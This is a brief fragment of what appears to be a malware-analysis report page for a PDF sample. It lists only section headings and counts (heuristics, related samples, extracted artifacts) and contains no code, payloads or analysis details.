pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 13

Related samples 8

Extracted artifacts 2